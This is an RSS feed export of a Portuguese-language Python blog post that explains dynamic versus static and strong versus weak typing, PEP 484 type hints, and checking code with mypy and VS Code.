<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Klaus Laube]]></title><description><![CDATA[Python, Django e desenvolvimento Web]]></description><link>https://klauslaube.com.br</link><generator>GatsbyJS</generator><lastBuildDate>Wed, 20 Oct 2021 18:01:17 GMT</lastBuildDate><item><title><![CDATA[Tipo assim... tipo em Python]]></title><description><![CDATA[Tipos em Python é aquele "tipo" de assunto que vai agitar qualquer papo de almoço entre programadores.
Eu mesmo fui cético por muito tempo…]]></description><link>https://klauslaube.com.br/2021/10/20/tipo-assim-tipo-python.html</link><guid isPermaLink="false">https://klauslaube.com.br/2021/10/20/tipo-assim-tipo-python.html</guid><pubDate>Wed, 20 Oct 2021 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Tipos em &lt;em&gt;Python&lt;/em&gt; é aquele &quot;tipo&quot; de assunto que vai agitar qualquer papo de almoço entre programadores.
Eu mesmo fui cético por muito tempo, e franzia a testa constantemente quando esse tópico aparecia.
Mas já mudei de opinião algumas vezes, e escrever sobre tais mudanças rendeu alguns dos artigos
mais acessados do &lt;em&gt;blog&lt;/em&gt;.  De &lt;a href=&quot;/2018/06/04/eu-me-rendo-vscode.html&quot; title=&quot;Eu me rendo: VS Code&quot;&gt;&lt;em&gt;IDEs vs. editores&lt;/em&gt;&lt;/a&gt;, passando por
&lt;a href=&quot;/2020/07/01/alem-do-rest-com-graphql.html&quot; title=&quot;Além do REST com GraphQL&quot;&gt;&lt;em&gt;GraphQL&lt;/em&gt;&lt;/a&gt;
e chegando até mesmo ao uso de &lt;a href=&quot;/tag/java.html&quot; title=&quot;Leia mais sobre Java&quot;&gt;&lt;em&gt;Java&lt;/em&gt;&lt;/a&gt;. Agora é a vez de tipagem em &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Nota-se uma &quot;nem tão recente onda&quot; na utilização de tipagem estática. Alimentada por linguagens como &lt;em&gt;Go&lt;/em&gt; e &lt;em&gt;Typescript&lt;/em&gt;, os
argumentos (assim como prós e contras) são dos mais variados, e vem influenciando linguagens amplamente conhecidas
por serem de tipagem dinâmica, como &lt;a href=&quot;https://realpython.com/python-type-checking/&quot; title=&quot;Python Type Checking&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; e
&lt;a href=&quot;https://news.ycombinator.com/item?id=19697405&quot; title=&quot;Types will be part of Ruby 3&quot;&gt;&lt;em&gt;Ruby&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Mais fundamental que entender o &quot;como&quot;, é crucial ficar por dentro da motivação por trás da &lt;a href=&quot;https://www.python.org/dev/peps/pep-0484/&quot; title=&quot;Type hints&quot;&gt;&lt;em&gt;PEP 484&lt;/em&gt;&lt;/a&gt;.
Vamos viajar um pouquinho no tempo e tentar compreender o &quot;por quê&quot;.&lt;/p&gt;
&lt;h2&gt;No meu tempo é que era bom&lt;/h2&gt;
&lt;p&gt;Conheci o &lt;em&gt;Python&lt;/em&gt; lá pelos idos de 2009, e &lt;a href=&quot;https://pt.slideshare.net/kplaube/python-7648643&quot; title=&quot;Slideshare: Python&quot;&gt;venho falando sobre a linguagem desde então&lt;/a&gt;.
Sempre posso contar com o &lt;a href=&quot;https://pt.wikipedia.org/wiki/Python&quot; title=&quot;Wikipedia - Python&quot;&gt;artigo do &lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt; para definir a linguagem com os atributos que mais admiro:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Python é uma linguagem de programação de alto nível, interpretada, de script, imperativa, orientada a objetos, funcional, de tipagem dinâmica e forte.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;E sem mais rodeios, abrimos o nosso primeiro parênteses.&lt;/p&gt;
&lt;h3&gt;Tipagem dinâmica e forte&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Python&lt;/em&gt;, &lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;Javascript&lt;/em&gt; e &lt;em&gt;Ruby&lt;/em&gt; tem algo em comum: Elas são linguagens de tipagem dinâmica. Em outras palavras,
elas são capazes de escolher o tipo de dado de acordo com o valor que está sendo atribuído a uma variável:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;foo&quot;&lt;/span&gt;

a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
b &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# 3&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ao contrário de linguagens com tipagem estática, como o &lt;em&gt;Java&lt;/em&gt;; onde uma vez que a variável esteja setada com o seu respectivo tipo,
não podemos mais alterá-lo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;MyClass&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt; args&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// TypeError&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mesmo se utilizarmos recursos mais modernos, como a inferência de tipo, ainda assim estamos sujeitos à tipagem estática:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;MyClass&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt; args&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// TypeError&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;em&gt;Javascript&lt;/em&gt; é um exemplo de linguagem com tipagem fraca. Com ela somos capazes de misturar tipos sem
maiores restrições, e contar com conversões realizadas automaticamente pela linguagem, como no exemplo abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; b &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// foo2&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O mesmo não acontece com o &lt;em&gt;Python&lt;/em&gt;, que tem por característica a tipagem forte, sendo assim
mais restritivo com esse tipo de operação:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;foo&quot;&lt;/span&gt;
b &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# TypeError: can only concatenate str (not &quot;int&quot;) to str&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Tipagem dinâmica e forte foram duas das características
mais apaixonantes do &lt;em&gt;Python&lt;/em&gt;. A linguagem estava me ajudando a ser mais coerente com o &lt;em&gt;design&lt;/em&gt; do código,
e com isso, me dando uma camada a mais de segurança (e por consequência, qualidade).&lt;/p&gt;
&lt;h3&gt;Type hints&lt;/h3&gt;
&lt;p&gt;A primeira vez que ouvi falar sobre tipagem estática em &lt;em&gt;Python&lt;/em&gt;, foi por volta de 2016. Segundo o
&lt;a href=&quot;https://dropbox.tech/application/our-journey-to-type-checking-4-million-lines-of-python&quot; title=&quot;Leia o artigo no Dropbox.Tech&quot;&gt;&quot;Our journey to type checking 4 million lines of Python&quot;&lt;/a&gt;,
no ano anterior (com o &lt;em&gt;Python 3.5&lt;/em&gt;) era lançada a &lt;em&gt;PEP 484&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Essa &lt;em&gt;Python Enhancement Proposal&lt;/em&gt; oficializava a proposta de &lt;em&gt;Jukka Lehtosalo&lt;/em&gt; para o uso de tipos em &lt;em&gt;Python&lt;/em&gt;. A diferença
aqui, em relação a outras linguagens, é que utilizamos anotações para sugerir qual tipo uma variável ou parâmetro receberá (chamadas de &lt;em&gt;type hints&lt;/em&gt;):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;greeting&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Hello &apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; name&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Por anotações entende-se que estamos sugerindo ao &lt;strong&gt;programador&lt;/strong&gt;, e não ao &lt;strong&gt;intepretador&lt;/strong&gt;, quais são os tipos.
De fato, o interpretador ignora tais instruções e &lt;a href=&quot;https://stackoverflow.com/questions/41692473/does-python-type-hint-annotations-cause-some-run-time-effects#:~:text=2%20Answers,-2&amp;#x26;text=Type%20hints%20and%20annotations%20do,way%20that%20comments%20don&amp;#x27;t.&quot; title=&quot;Leia a thread no Stackoverflow&quot;&gt;elas não tem efeito no código rodando&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Na época, o &lt;em&gt;mypy&lt;/em&gt; não era essa &lt;em&gt;lib&lt;/em&gt; bem estabelecida que é hoje. Conceitos e ferramentas ao redor desse tópico
ainda eram confusos, e o mesmo gerava debates acalorados.&lt;/p&gt;
&lt;p&gt;Nem preciso dizer que fui um dos programadores que logo de cara torceu o nariz.&lt;/p&gt;
&lt;h2&gt;Static type é cool novamente&lt;/h2&gt;
&lt;p&gt;Quantas vezes você já precisou abrir uma função para compreender o que exatamente ela retornava? Quantos
&lt;em&gt;Docstrings&lt;/em&gt; você leu, dando dicas de tipos de parâmetros e retorno? Quantos &lt;code class=&quot;language-text&quot;&gt;print&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;pdb.set_trace()&lt;/code&gt; para
entender a razão de um atributo de instância estar disparando algum erro de tipo ou chave?&lt;/p&gt;
&lt;p&gt;À medida que o seu projeto vai crescendo em tamanho e complexidade, a ausência de tipos começa a afetar a qualidade do mesmo,
pelo menos é isso que afirma &lt;em&gt;Dustin Ingram&lt;/em&gt; no &lt;em&gt;talk&lt;/em&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=ST33zDM9vOE&quot; title=&quot;Veja no Youtube&quot;&gt;&lt;em&gt;Static Typing in Python&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/bdb650a32dbbd99e021beb412e73fe40/b1584/type-hint.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.77083333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB8UlEQVQoz2VSSW/TQBj1f4XkCKdKSBwQQgIJ9cCBQkslynKpSi3KUoQEagg5ICTUNhtxFkIcO/bEdsbjxHZsz8ZnJ6JFeEaeZ33z5r35nhW135NSMi6kgFXOzYngHLDg4vKEUhRymuUA6lLSq1/qitrvr8nFDue8yeah/O8RQtoW4wzQP+TeZbKpdTJzAiDwSUACmHiGfUw4E8NRxDiVXFI4QmalakNRB2syeAvSxUj/lfWHgH2fEOzbDnKn3iLAxGcWWpI0yDjNhSUtnZwrhz0NIMbEMIyxMXbcGbVQNtRXbmE3vJNE6KMUgOd5p2en3e6ALWblr03lsKv9VYb7EJ+Aew5HgL7nWch1HT4xKWP5pZJl6rme48x4iEu1pvJK61x0W4h+z9A6ePA7bNfRj8/NRq2l186Cdss/q89H+qp1RXNo+aSxJlOWx8MZDwiJo3AZxT72JzaCkX/GSRzFy3i5io0VDStXGspBu5UriyJdIdJEICuLIuo6juu4to2QPZ2YJrjNVS/I9ApEdVRERcJEUJqXszQdGCwI8RRNTVPvarY+1ke2NbZkQcp/kpXt7z+V6we7W9s7xxsP97efVPZuVW4+err7bvNj5dp+9cbe0VYdbX4b7Kgfnr19Xr2vvn6v3nnz4vju408PXt6+t/EHLTpVI2zMZEkAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Gráfico com a complexidade subindo ao aumentar linhas de código&quot;
        title=&quot;Quando migrar para Type Hint (youtube.com)&quot;
        src=&quot;/static/bdb650a32dbbd99e021beb412e73fe40/e5715/type-hint.png&quot;
        srcset=&quot;/static/bdb650a32dbbd99e021beb412e73fe40/8514f/type-hint.png 192w,
/static/bdb650a32dbbd99e021beb412e73fe40/804b2/type-hint.png 384w,
/static/bdb650a32dbbd99e021beb412e73fe40/e5715/type-hint.png 768w,
/static/bdb650a32dbbd99e021beb412e73fe40/4ad3a/type-hint.png 1152w,
/static/bdb650a32dbbd99e021beb412e73fe40/b1584/type-hint.png 1342w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Quando migrar para Type Hint (youtube.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Se você tiver 28 minutos, dê uma pausa neste artigo e confira a apresentação na íntegra:&lt;/p&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/ST33zDM9vOE&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Há o argumento de que se o código fosse claro, seguindo padrões e boas práticas, não precisaríamos de tais artifícios. Acho
difícil discordar dessa afirmação. Tão difícil quanto encontrar tal código.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://trishagee.com/2020/09/07/reading-code-is-a-skill/&quot; title=&quot;Reading code is a skill&quot;&gt;Código legível é subjetivo&lt;/a&gt;, enquanto
que tipagem estática serve como uma forma de documentação e (supostamente) auxilia na manutenibilidade de &lt;em&gt;software&lt;/em&gt;.
Esse é um dos argumentos apresentados
no &lt;em&gt;paper&lt;/em&gt; &lt;a href=&quot;https://www.researchgate.net/publication/259634489_An_empirical_study_on_the_impact_of_static_typing_on_software_maintainability&quot; title=&quot;Leia a pesquisa na íntegra&quot;&gt;&quot;&lt;em&gt;An empirical study on the impact of static typing on software maintainability&lt;/em&gt;&quot;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Em suma, com o passar do tempo, fazendo parte de grandes projetos &lt;em&gt;front-end&lt;/em&gt; em &lt;em&gt;React&lt;/em&gt;, e utilizando de tipagem para entender
o que estava acontecendo, eu enxergo e entendo o argumento a favor do uso de &lt;em&gt;type hints&lt;/em&gt; em &lt;em&gt;Python&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Como faz?&lt;/h2&gt;
&lt;p&gt;A melhor forma de começar é através do &lt;a href=&quot;http://mypy-lang.org&quot; title=&quot;Optional static type checker for Python&quot;&gt;&lt;em&gt;mypy&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install mypy&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O próximo passo é adicionar as anotações ao código, indicando os tipos:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# calculadora.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;soma&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; b

result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; soma&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2.5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Anotamos os parâmetros da função através de &lt;code class=&quot;language-text&quot;&gt;: int&lt;/code&gt;, e o retorno com &lt;code class=&quot;language-text&quot;&gt;-&gt; int&lt;/code&gt;. Com o utilitário de linha
de comando executamos a checagem:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mypy calculadora.py
Success: no issues found in 1 source file&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Se alterarmos um dos parâmetros passados para &lt;code class=&quot;language-text&quot;&gt;float&lt;/code&gt;, o &lt;code class=&quot;language-text&quot;&gt;mypy&lt;/code&gt; nos alertará que há uma inconsistência:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mypy calculadora.py
calculadora.py:5: error: Argument 1 to &quot;soma&quot; has incompatible type &quot;float&quot;; expected &quot;int&quot;
Found 1 error in 1 file (checked 1 source file)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mas ainda assim será possível executar o código sem problemas.&lt;/p&gt;
&lt;h3&gt;VS Code&lt;/h3&gt;
&lt;p&gt;Com o &lt;a href=&quot;/tag/vscode.html&quot; title=&quot;Leia mais sobre VS Code&quot;&gt;&lt;em&gt;VS Code&lt;/em&gt;&lt;/a&gt; e
o &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=ms-python.python&quot;&gt;&lt;em&gt;plugin Python&lt;/em&gt;&lt;/a&gt;
instalado, basta o interpretador configurado ter acesso ao &lt;em&gt;mypy&lt;/em&gt;, ou que você explicitamente
passe o caminho do executável nas configurações do editor:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/eef1fd579b269dbcfb7e4183384f201c/d5bfb/type-hint-vscode.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 50.52083333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB6UlEQVQoz53R3W/SUBQA8GpcZmAbIRsgGqeMUkp7+3Hb2xZKP6CEj42pD/juo0+N/nn+Ab5LjP/Dwqtm4YHS4ymdxEwTE5v8cs4999yT9pYzuIuDyHXfCcz92BTduCW5cZt4sSD1Y9OZxeFoEQeZaIH529h257Ege7GoBDniZz6Iiv/+2Xm7yJUfn9UoG3w3nQgcYwQ6HYJiTEE1Z2B052C5b8DsvkLXO9S+AkLHQIwJxgn2TrB2if1TqD5pSFzxuFwXiH8jaxFQNt84/UVi9i4TzR4n1I4SiUYJLwfI32uR4HcbQQlTnHF7Vn1OuEeFg7pOp6uOGoGiR1vGpqnJxqmhh6muhinTBilVB6mJ0UCWNtzlpppjeR00JVi/zAaelE7reBcrSRuB1Xu9Zc4VWNYMqOqBSvpgEh802QNKPNAxMpLnvxjES7MoS/11NRtYKJbqfMddicoA2iTc8pIHO7IPLcTf0/yzlua93nr3ycWjEr6hfyMqIQ4MNhiTXJCIeEf7SO6tlX2+yc/6t5XaOeGOjstPFWP0Q8Kf0lEHaPgPf+/JhlZqL1Tu8LBwyov2p1an963Ztr+gZVN0lrzYXWb5hYDrtnMnW1u459zVd3t4xvnaaLHP5dN6g8PnATpBVVT5T9nZEnr4E82X+x2Gd1CXAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Interface do VS Code mostrando um erro de tipo&quot;
        title=&quot;Como o erro do mypy é exibido no VS Code&quot;
        src=&quot;/static/eef1fd579b269dbcfb7e4183384f201c/e5715/type-hint-vscode.png&quot;
        srcset=&quot;/static/eef1fd579b269dbcfb7e4183384f201c/8514f/type-hint-vscode.png 192w,
/static/eef1fd579b269dbcfb7e4183384f201c/804b2/type-hint-vscode.png 384w,
/static/eef1fd579b269dbcfb7e4183384f201c/e5715/type-hint-vscode.png 768w,
/static/eef1fd579b269dbcfb7e4183384f201c/d5bfb/type-hint-vscode.png 1072w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Como o erro do mypy é exibido no VS Code&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://code.visualstudio.com/docs/python/linting#_mypy&quot;&gt;Leia mais sobre como configurar o Mypy com VS Code&lt;/a&gt;.&lt;/p&gt;
